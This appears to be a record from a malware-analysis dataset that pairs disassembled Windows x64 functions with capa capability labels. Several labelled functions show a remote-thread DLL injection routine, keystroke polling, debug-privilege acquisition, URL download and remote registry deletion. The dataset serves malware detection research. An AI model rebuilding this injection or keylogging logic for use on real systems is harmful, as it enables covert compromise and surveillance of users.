joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001100f
Capabilities:
Set console window title

Disassembly:
jmp 0x14001ce30
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1400342df]
call fcn.1400118b6
mov rcx, qword [rbp + 0xe8]
call fcn.1400110c8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov r8d, dword [rbp + 0xf8]
mov edx, dword [rbp + 0xf0]
mov rcx, qword [rbp + 0xe0]
call fcn.140011046
nop
mov rcx, qword [rbp + 0xe8]
call fcn.1400111a4
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x1400110d7
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x14001c960
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rcx, [0x1400342df]
call fcn.1400118b6
mov rdx, qword [rbp + 0x148]
mov rcx, qword [rbp + 0x140]
call fcn.1400112a8
mov dword [rbp + 4], eax
mov r8d, dword [rbp + 4]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x28], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x28
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x48], rax
mov rcx, qword [rbp + 0x150]
call fcn.1400110c8
mov qword [rsp + 0x20], 0
mov r9d, 0x28
mov r8, rax
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x148]
call fcn.1400111a4
nop
mov rcx, qword [rbp + 0x150]
call fcn.1400111a4
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1400112a8
Capabilities:
Enumerate processes

Disassembly:
jmp 0x14001aca0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x5e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x278]
mov rax, qword [0x14002d040]
xor rax, rbp
mov qword [rbp + 0x228], rax
lea rcx, [0x1400342df]
call fcn.1400118b6
xor edx, edx
mov ecx, 2
call fcn.14001143d
mov qword [rbp + 8], rax
lea rax, [rbp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x130
rep stosb byte [rdi], al
mov dword [rbp + 0x30], 0x130
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14001ad20
xor eax, eax
jmp 0x14001ad7f
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.14001173a
test eax, eax
jne 0x14001ad35
xor eax, eax
jmp 0x14001ad7f
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400118ca
test eax, eax
je 0x14001ad73
mov rcx, qword [rbp + 0x258]
call fcn.1400110c8
mov rdx, rax
lea rcx, [rbp + 0x5c]
call fcn.1400119a6
test eax, eax
jne 0x14001ad71
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x38]
jmp 0x14001ad7f
jmp 0x14001ad35
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140028130]
call fcn.140011749
mov rax, rdi
mov rcx, qword [rbp + 0x228]
xor rcx, rbp
call fcn.140011456
lea rsp, [rbp + 0x238]
pop rdi
pop rbp
ret

Function at 0x140011505
Capabilities:
Terminate process

Disassembly:
jmp 0x14001e920
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001162c
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001fc70
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001fc90
xor al, al
jmp 0x14001fd11
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001fca3
xor al, al
jmp 0x14001fd11
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001fccd
xor al, al
jmp 0x14001fd11
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001fce1
xor al, al
jmp 0x14001fd11
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001fcf3
xor al, al
jmp 0x14001fd11
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001fd0f
xor al, al
jmp 0x14001fd11
mov al, 1
add rsp, 0x38
ret
Function at 0x1400116b8
Capabilities:
Download url
Receive data

Disassembly:
jmp 0x14001bfb0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rcx, [0x1400342df]
call fcn.1400118b6
mov rcx, qword [rbp + 0x148]
call fcn.1400110c8
mov rcx, rax
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov rcx, qword [rbp + 0x150]
call fcn.1400110c8
mov qword [rbp + 0x118], rax
mov rcx, qword [rbp + 0x148]
call fcn.1400110c8
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x118]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.140011208
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x14001c060
mov byte [rbp + 0xe4], 1
mov rcx, qword [rbp + 0x148]
call fcn.1400111a4
mov rcx, qword [rbp + 0x150]
call fcn.1400111a4
movzx eax, byte [rbp + 0xe4]
jmp 0x14001c0a0
mov byte [rbp + 0x104], 0
mov rcx, qword [rbp + 0x148]
call fcn.1400111a4
mov rcx, qword [rbp + 0x150]
call fcn.1400111a4
movzx eax, byte [rbp + 0x104]
jmp 0x14001c0a0
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x140011820
Capabilities:
Manipulate console buffer

Disassembly:
jmp 0x14001c0f0
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x148]
lea rcx, [0x1400342df]
call fcn.1400118b6
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp + 8], rax
movzx eax, word [rbp + 0x128]
mov word [rbp + 0x24], ax
movzx eax, word [rbp + 0x130]
mov word [rbp + 0x26], ax
mov edx, dword [rbp + 0x24]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
lea rcx, [rbp - 0x20]
lea rdx, [0x140028020]
call fcn.140011749
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x14006d82e
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rcx
push r15
xor rax, rax
push rax
push rax
push rax
sub rsp, 0x28
call fcn.1400e4810
mov qword [rsp + 0x28], 0
jmp 0x14006d84f
mov rax, qword [rsp + 0x50]
cmp rax, qword [rsp + 0x28]
jl 0x14006d94b
push 0
pop rcx
call fcn.1400cb5ec
and rax, rax
je 0x14006d940
mov qword [rsp + 0x30], 0xffffffffffffffff
call fcn.140077435
mov qword [rsp + 0x30], rax
mov r15, qword [rsp + 0x30]
and r15, r15
jle 0x14006d909
call fcn.1400d00bc
mov rax, rax
push rax
mov r15, qword [0x141a44568]
cmp r15, qword [rsp]
jne 0x14006d8c6
sub rsp, 8
push qword [rsp + 0x40]
pop rcx
sub rsp, 0x20
call fcn.14006b7c5
add rsp, 0x28
mov r15, rax
and r15, r15
jne 0x14006d8c4
jmp 0x14006d906
xor r15, r15
cmp r15, qword [rsp]
jne 0x14006d8ef
sub rsp, 8
push qword [rsp + 0x40]
pop rcx
sub rsp, 0x20
call fcn.140057f35
add rsp, 0x28
mov r15, rax
and r15, r15
jne 0x14006d8ed
jmp 0x14006d906
sub rsp, 8
push 3
pop rcx
sub rsp, 0x20
call fcn.1400cb3f0
add rsp, 0x28
pop rax
jmp 0x14006d914
push 5
pop rcx
call fcn.1400cb3f0
push 0x1b
pop rcx
call sub.USER32.dll_GetKeyState
mov r15, rax
cmp r15, 1
jle 0x14006d935
mov qword [0x141a444d0], 1
jmp 0x14006d940
mov qword [0x141a444d0], 0
inc qword [rsp + 0x28]
jno 0x14006d84f
xor rax, rax
add rsp, 0x40
pop r15
ret
Function at 0x140077563
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push r15
mov rax, 7
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x140077576
sub rsp, 0x28
call fcn.1400e4810
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x28]
sub rsp, 0x10
call fcn.1400e4380
add rsp, 0x10
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x30]
sub rsp, 0x10
call fcn.1400e4380
add rsp, 0x10
push qword [rsp + 0x28]
pop rcx
call fcn.1400777af
push qword [rsp + 0x30]
movabs rcx, 0x14019cfc2
pop rdx
call fcn.1400e4610
or rax, rax
je 0x1400776a7
cmp dword [0x141a44788], 0
je 0x140077685
movabs rax, 0x14019c8f6
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400be4cc
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140077683
movabs rax, 0x1401a9076
push rax
push qword [rsp + 0x40]
pop rcx
pop rdx
call fcn.1400be554
mov qword [rsp + 0x40], rax
sub rsp, 8
push 0
movsxd r15, dword [0x141a4478c]
or r15, 0xf003f
mov rax, r15
push rax
mov rax, qword [0x141a44708]
mov rax, rax
push rax
push qword [0x141a44718]
push qword [rsp + 0x68]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.1400bef2c
add rsp, 0x30
mov qword [rsp + 0x48], rax
push qword [rsp + 0x38]
pop rcx
call fcn.1400be3b8
jmp 0x1400776a2
mov rax, qword [0x141a44708]
mov rax, rax
push rax
push qword [0x141a44718]
pop rcx
pop rdx
call sub.ADVAPI32.dll_RegDeleteKeyW
mov qword [rsp + 0x48], rax
jmp 0x14007776c
lea rax, [rsp + 0x58]
mov rax, rax
push rax
push qword [0x141a44718]
push qword [rsp + 0x40]
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_RegConnectRegistryW
movsxd rax, eax
mov qword [rsp + 0x50], rax
cmp dword [0x141a44788], 0
je 0x140077751
movabs rax, 0x14019c8f6
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400be4cc
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x14007774f
push 0
movsxd r15, dword [0x141a4478c]
or r15, 0xf003f
mov rax, r15
push rax
mov rax, qword [0x141a44708]
mov rax, rax
push rax
push qword [rsp + 0x70]
movabs rax, 0x1401a9076
push rax
push qword [rsp + 0x60]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.1400bfb40
add rsp, 0x30
mov qword [rsp + 0x48], rax
push qword [rsp + 0x38]
pop rcx
call fcn.1400be3b8
jmp 0x14007776c
mov rax, qword [0x141a44708]
mov rax, rax
push rax
push qword [rsp + 0x60]
pop rcx
pop rdx
call sub.ADVAPI32.dll_RegDeleteKeyW
mov qword [rsp + 0x48], rax
mov r15, qword [rsp + 0x48]
and r15, r15
jne 0x14007777f
mov rax, 1
jmp 0x140077782
xor rax, rax
push rax
mov rcx, qword [rsp + 0x38]
sub rsp, 0x28
call fcn.1400e4880
add rsp, 0x28
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.1400e4880
add rsp, 0x28
pop rax
add rsp, 0x60
pop r15
ret
Function at 0x140077b34
Capabilities:
Get graphical window text

Disassembly:
push r15
xor rax, rax
push rax
sub rsp, 0x28
call fcn.1400e4810
mov rcx, qword [rsp + 0x60]
call fcn.140078fe8
mov r15, qword [0x141a44790]
and r15, r15
jne 0x140077b7e
push 0
push 0
pop rcx
pop rdx
call sub.USER32.dll_FindWindowW
mov qword [0x141a44798], rax
mov qword [0x141a44790], 1
jmp 0x140077b97
push 2
push qword [0x141a44798]
pop rcx
pop rdx
call sub.USER32.dll_GetWindow
mov qword [0x141a44798], rax
mov r15, qword [0x141a44798]
and r15, r15
je 0x140077c6d
push 0xfffffffffffffff0
push qword [0x141a44798]
pop rcx
pop rdx
call sub.USER32.dll_GetWindowLongPtrW
mov r15, rax
and r15, 0x10000000
cmp r15, 0x10000000
jne 0x140077c6b
push 0xffffffffffffffec
push qword [0x141a44798]
pop rcx
pop rdx
call sub.USER32.dll_GetWindowLongPtrW
mov r15, rax
and r15, 0x80
cmp r15, 0x80
je 0x140077c6b
push rcx
sub rsp, 0x28
call fcn.1400e44e0
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400e44e0
add rsp, 0x28
pop rcx
push rax
push 0x100
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400e1430
add rsp, 0x28
lea rcx, [rsp + 0x30]
pop rdx
call fcn.1400e4530
push 0x100
push qword [rsp + 0x30]
push qword [0x141a44798]
pop rcx
pop rdx
pop r8
call sub.USER32.dll_GetWindowTextW
push qword [rsp + 0x28]
movabs rcx, 0x14019c0ba
pop rdx
call fcn.1400e4610
or rax, rax
jne 0x140077c6b
jmp 0x140077c88
jmp 0x140077c78
mov qword [0x141a44790], 0
mov r15, qword [0x141a44798]
and r15, r15
jne 0x140077b4d
mov rcx, qword [rsp + 0x28]
push rcx
sub rsp, 0x28
call fcn.1400e44e0
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400e4670
add rsp, 0x28
pop rax
push rax
call fcn.1400e46e0
pop rdx
add rax, rdx
jmp 0x140077cc1
push rax
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.1400e4880
add rsp, 0x28
pop rax
add rsp, 0x30
pop r15
ret
Function at 0x140077cdc
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push rbp
push r15
mov rax, 0x14
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x140077cf0
sub rsp, 0x28
call fcn.1400e4810
mov rdx, qword [rsp + 0xe0]
lea rcx, [rsp + 0x28]
sub rsp, 0x10
call fcn.1400e4380
add rsp, 0x10
lea rax, [rsp + 0x30]
lea rax, [rsp + 0x98]
lea rbp, [rsp + 0x30]
mov dword [rbp], 0x68
mov dword [rbp + 0x3c], 1
mov r15, qword [rsp + 0xe8]
and r15, 2
and r15, r15
je 0x140077d62
lea rbp, [rsp + 0x30]
mov word [rbp + 0x40], 0
jmp 0x140077d6d
lea rbp, [rsp + 0x30]
mov word [rbp + 0x40], 1
lea rax, [rsp + 0x98]
mov rax, rax
push rax
lea rax, [rsp + 0x38]
mov rax, rax
push rax
push 0
push 0
push 0
push 0
push 0
push 0
push qword [rsp + 0x68]
push 0
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call sub.KERNEL32.DLL_CreateProcessW
add rsp, 0x50
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0xb0], 0
je 0x140077e3c
mov r15, qword [rsp + 0xe8]
and r15, 1
and r15, r15
je 0x140077e2e
lea rbp, [rsp + 0x98]
push qword [rbp + 8]
pop rax
mov qword [rsp + 0xb8], rax
push 1
pop rcx
call fcn.1400cb3f0
lea rax, [rsp + 0xc0]
mov rax, rax
push rax
push qword [rsp + 0xc0]
pop rcx
pop rdx
call sub.KERNEL32.DLL_GetExitCodeThread
movsxd r15, dword [rsp + 0xc0]
cmp r15, 0x103
je 0x140077e2c
jmp 0x140077e2e
jmp 0x140077df4
lea rbp, [rsp + 0x98]
mov rax, qword [rbp]
jmp 0x140077e3f
xor rax, rax
push rax
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.1400e4880
add rsp, 0x28
pop rax
add rsp, 0xc8
pop r15
pop rbp
ret

Function at 0x140077e8a
Capabilities:
Acquire debug privileges

Disassembly:
push rbp
push r15
mov rax, 8
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x140077e94
sub rsp, 0x28
call fcn.1400e4810
mov byte [rsp + 0x28], 0
lea rax, [rsp + 0x30]
mov rax, rax
push rax
push 0x28
sub rsp, 0x20
call sub.KERNEL32.DLL_GetCurrentProcess
add rsp, 0x20
mov rax, rax
push rax
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_OpenProcessToken
and rax, rax
je 0x140077fa7
lea rax, [rsp + 0x38]
lea rax, [rsp + 0x38]
mov rax, rax
push rax
movabs rax, 0x1401a2660
push rax
push 0
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_LookupPrivilegeValueW
and rax, rax
je 0x140077f9d
lea rax, [rsp + 0x40]
lea rbp, [rsp + 0x40]
mov dword [rbp], 1
lea rbp, [rsp + 0x38]
movsxd rax, dword [rbp]
push rax
lea rbp, [rsp + 0x48]
push rbp
pop rbp
pop rax
mov dword [rbp + 4], eax
lea rbp, [rsp + 0x38]
movsxd rax, dword [rbp + 4]
push rax
lea rbp, [rsp + 0x48]
push rbp
pop rbp
pop rax
mov dword [rbp + 8], eax
push rbp
pop rbp
mov dword [rbp + 0xc], 2
lea rax, [rsp + 0x60]
mov rax, rax
push rax
lea rax, [rsp + 0x58]
mov rax, rax
push rax
push 0x10
lea rax, [rsp + 0x58]
mov rax, rax
push rax
push 0
push qword [rsp + 0x58]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call sub.ADVAPI32.dll_AdjustTokenPrivileges
add rsp, 0x30
mov rax, rax
push rax
pop rax
mov byte [rsp + 0x28], al
push qword [rsp + 0x30]
pop rcx
call sub.KERNEL32.DLL_CloseHandle
movsx rax, byte [rsp + 0x28]
movsx rax, al
jmp 0x140077fb6
add rsp, 0x68
pop r15
pop rbp
ret
Function at 0x140078fe8
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.DLL_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x141a3f688]
call sub.KERNEL32.DLL_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.DLL_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x14007a8f4
Capabilities:
Create thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x30
lea rax, [r11 + 0x18]
mov r9, rdx
mov r8, rcx
mov qword [r11 - 0x10], rax
xor edi, edi
mov edx, 0x1000
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov rbp, rax
test rax, rax
je 0x14007a9ba
lea rcx, [0x141abf2e0]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rbx, qword [0x141a44950]
jmp 0x14007a97e
lea rsi, [rbx + 0x10]
xor edx, edx
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
jne 0x14007a97b
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rbx, qword [rbx]
lea rcx, [0x141a44950]
mov rdx, rsi
call fcn.1400e4264
jmp 0x14007a97e
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14007a94b
mov rdx, qword [0x141a3f488]
lea rcx, [0x141a44950]
mov rdi, rdx
inc rdx
mov qword [0x141a3f488], rdx
lea edx, [rbx + 0x20]
call fcn.1400e42ac
lea rcx, [0x141abf2e0]
mov qword [rax], rbp
mov qword [rax + 8], rdi
call qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
mov rax, rdi
add rsp, 0x30
pop rdi
ret

Function at 0x14007a9d4
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.14007a770
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
lea rcx, [0x141abf2e0]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rbx, qword [0x141a44950]
jmp 0x14007aa10
cmp qword [rbx + 0x18], rdi
je 0x14007aa17
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14007aa07
jmp 0x14007aa31
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x141a44950]
call fcn.1400e4264
lea rcx, [0x141abf2e0]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
Function at 0x14007ae00
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
test ecx, ecx
je 0x14007ae77
movsxd rdx, ecx
lea rcx, [0x14007ad5c]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rbx, qword [0x141a44960]
test rbx, rbx
je 0x14007aeea
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x14007ae6d
cmp byte [rbx + 0x20], 0
je 0x14007ae6d
mov rcx, qword [rbx + 0x18]
xor r9d, r9d
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea rdx, [r9 - 2]
xor r8d, r8d
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rbx, rdi
test rdi, rdi
jne 0x14007ae33
jmp 0x14007aeea
mov rbx, qword [0x141a44960]
test rbx, rbx
je 0x14007aeea
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x14007aee2
cmp byte [rbx + 0x21], 0
je 0x14007aea6
mov rcx, qword [rbx + 0x18]
mov edx, 1
call qword [sym.imp.USER32.dll_EnableWindow]
cmp byte [rbx + 0x20], 0
je 0x14007aed2
mov rcx, qword [rbx + 0x18]
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
or rdx, 0xffffffffffffffff
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rdx, [rbx + 0x10]
lea rcx, [0x141a44960]
call fcn.1400e4264
mov rbx, rdi
test rdi, rdi
jne 0x14007ae83
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x14007b5b0
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, edx
mov rdx, rcx
mov rcx, qword [0x141abf360]
call fcn.1400e387c
test rax, rax
je 0x14007b5ed
cmp dword [rax + 0x28], 0
je 0x14007b5ed
mov rcx, qword [rax + 0x18]
mov r9d, ebx
mov r8d, dword [rcx + 4]
mov edx, dword [rcx]
mov rcx, qword [rax + 0x10]
add rsp, 0x20
pop rbx
jmp fcn.14007b1d0
mov ecx, ebx
add rsp, 0x20
pop rbx
jmp fcn.1400e4da0
Function at 0x140098868
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov ebx, edx
xor r8d, r8d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
xor ebp, ebp
mov edi, eax
test eax, eax
je 0x140098896
dec edi
mov edx, ebx
mov ecx, edi
call fcn.1400e4940
lea r8d, [rdi + 1]
mov rcx, rsi
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
mov rsi, qword [rsp + 0x40]
movsxd rcx, edi
mov word [rbx + rcx*2], bp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140098f68
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [0x141abf3e0]
call fcn.1400e3548
xor ebp, ebp
or esi, 0xffffffff
mov r14, rax
mov ebx, ebp
call qword [sym.imp.KERNEL32.DLL_GetCommandLineW]
movzx edx, word [rax]
test dx, dx
je 0x140099065
mov rcx, qword [rsp + 0x40]
mov r9w, 0x22
cmp dx, 0x20
jne 0x140098fbf
add rax, 2
cmp word [rax], 0x20
je 0x140098fb5
movzx edx, word [rax]
mov r8d, 1
cmp dx, r9w
jne 0x140098ffd
add rax, 2
mov rbx, rax
movzx ecx, word [rax]
test cx, cx
je 0x14009903d
cmp cx, r9w
je 0x140098fef
add rax, 2
movzx ecx, word [rax]
test cx, cx
jne 0x140098fdd
cmp word [rax], bp
je 0x14009903d
mov rcx, rax
add rax, 2
jmp 0x140099045
test dx, dx
je 0x140099042
mov rbx, rax
cmp dx, 0x20
je 0x140098fef
add rax, 2
cmp word [rax], r9w
jne 0x140099033
add rax, 2
movzx ecx, word [rax]
test cx, cx
je 0x14009903d
cmp cx, r9w
je 0x140099033
add rax, 2
movzx ecx, word [rax]
test cx, cx
jne 0x140099021
movzx edx, word [rax]
test dx, dx
jne 0x140099005
jmp 0x140098fef
mov rcx, rax
jmp 0x140099045
mov r8d, ebp
cmp dword [r14], esi
jne 0x14009904f
test rdi, rdi
jne 0x14009906f
test r8d, r8d
je 0x140099056
inc esi
movzx edx, word [rax]
mov rbx, rbp
test dx, dx
jne 0x140098faf
test rdi, rdi
jne 0x140099084
movsxd rax, esi
jmp 0x140099086
test rbx, rbx
je 0x140099084
sub rcx, rbx
mov rax, rbx
sar rcx, 1
mov dword [rdi], ecx
inc dword [r14]
jmp 0x140099086
mov dword [rdi], ebp
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret

Function at 0x14009909c
Capabilities:
Accept command line arguments

Disassembly:
sub rsp, 0x28
mov rcx, qword [0x141abf3e0]
call fcn.1400e3548
xor ecx, ecx
add rsp, 0x28
jmp fcn.140098f68

Function at 0x140099130
Capabilities:
Get thread local storage value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov ebx, ecx
mov rcx, qword [0x141abf3e0]
xor ebp, ebp
mov esi, edx
mov dword [rax + 8], ebp
call fcn.1400e3548
test ebx, ebx
js 0x14009915f
mov dword [rax], ebx
lea rcx, [rsp + 0x30]
call fcn.140098f68
mov edi, dword [rsp + 0x30]
mov edx, esi
mov ecx, edi
mov rbx, rax
call fcn.1400e4940
mov ecx, ebp
jmp 0x14009919b
test edi, edi
je 0x1400991a0
movzx edx, word [rbx]
cmp dx, 0x22
jne 0x14009918e
inc ecx
jmp 0x140099195
mov word [rax], dx
add rax, 2
add rbx, 2
dec edi
cmp word [rbx], bp
jne 0x14009917d
mov word [rax], bp
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
jmp fcn.1400e4a80